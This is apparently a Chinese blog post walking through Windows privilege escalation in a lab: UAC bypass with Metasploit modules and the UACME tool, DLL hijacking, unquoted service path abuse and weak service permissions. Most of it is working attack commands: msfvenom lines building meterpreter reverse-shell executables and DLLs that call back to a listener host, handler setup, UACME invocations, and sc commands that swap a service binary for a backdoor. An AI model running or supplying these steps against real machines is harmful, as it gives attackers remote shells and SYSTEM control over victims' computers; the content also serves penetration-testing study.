windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权

0x01 bypassuac提权

UAC是一个账户访问控制,运行一些程序时,会提醒是否运行这个程序

一.msf绕过uac

环境:win10,win7 管理员用户组的用户

#生成木马
msfvenom -p windows/meterpreter/reverse_tcp lport=4444 lhost=192.168.85.129 -f exe -o 11.exe 
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

msf成功上线,可以使用msf的自动化提权

getsystem #会尝试一些基本提权方法进行提权,如令牌窃取,进程注入等

可以看到getsystem失败了,可以使用msf的模块进行绕过uac的检测

win7:

use exploit/windows/local/bypassuac
set session 1
getuid
getsystem
getuid

成功提权:

UAC设置有三个等级:低,中,高,默认为中

当设置为高级时:

exploit/windows/local/bypassuac不好用了,提权不了

use exploit/windows/local/ask   #需要用户点击才可以
set session 1
run
getuid
getsystem
getuid

用户点击才可以提权

win10:

#这三个模块都可以win7不可用
use exploit/windows/local/ask
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup
#使用第二个模块
use exploit/windows/local/bypassuac_sluihijack
set session 1
run
getuid
getsystem
getuid

刚开始getsystem失败

msf共有十几个uac模块,灵活应用

bypassuac注意需要用户在管理员组,并且uac是开启状态,uac如果是关闭状态是可以直接getsystem进行提权的

二.工具uac绕过

工具:uacme

环境:win7

uac为默认,中等级,高等级需要点击才能够执行

uacme有70多种绕过方法,比较好用的几种41,23,61

Akagi64.exe  #会弹出一个cmd窗口,权限高
Akagi64.exe 41 位置+111.exe #以高权限调用后门
Akagi64.exe 第几个方法 执行的东西

0x02 dll劫持提权

windows程序启动的时候需要dll,可以通过把后门写成dll文件覆盖原有的dll文件,等待管理员点击进行提权。dll文件的搜寻顺序

1、应用程序加载的目录

2、C:\Windows\System32

3、C:\Windows\System

4、C:\Windows

5、当前工作目录Current Working Directory,CWD

6、在PATH环境变量的目录(先系统后用户)

一般dll劫持的是在应用程序的加载目录,其他地方可能没有权限

环境:win2016 flashfxp(ftp)

1.信息搜集(应用程序调用的dll文件,一般是分析程序启动目录)

2.创建dll后门

3.上传并覆盖

4.等待应用执行

分析工具:

火绒剑,ChkDllHijack

火绒剑使用:

ChkDllHijack使用:

成功:

失败(不可dll劫持):

msf生成dll文件:

 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=3344 -f dll -o 1.dll
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lpor 3344
run

上传重命名覆盖,执行flashfxp,成功上线

0x03引号路径提权

当服务是没有引号又有空格是就会造成提权,系统会把空格前的当作exe程序,把后面的当作参数,可以生成一个和前面名字一样的后门exe,当服务启动时,会成功上线,如果是系统服务,那获得的就是system权限;当有引号担忧空格时,就会当作一个整体,没有安全问题

环境:win2016+macro_expert_enterprise-win服务

检测命令:

排除c盘的windows主要是因为没有权限

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

检测工具:

ps脚本 jaws

msf生成和服务空格前一样的exe后门程序,放到对应启动的位置,放到C盘

 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

先关闭服务:

sc stop "Macro Expert"

后重启服务

sc start "Macro Expert"

成功上线:

0x04 服务权限提权

对权限控制不到位,导致用户可以更改服务执行的程序

正常来说是改不了的

环境:win2016

检测工具:

jaws ps脚本

accesschk :

accesschk.exe -uwcqv "administrators" *

找可以改的service_all_access

创建一个服务:

sc create test start= auto binPath="C:\1.exe"

msf生成和服务空格前一样的exe后门程序,放到对应启动的位置,放到C盘

 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

更改服务程序路径,并启动服务

sc config "test" binpath="C:\Program.exe"
sc start test

成功上线并提权,这里很快就关闭了,可能是因为自己创建的服务,如果是系统的,应该就不会掉线了

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值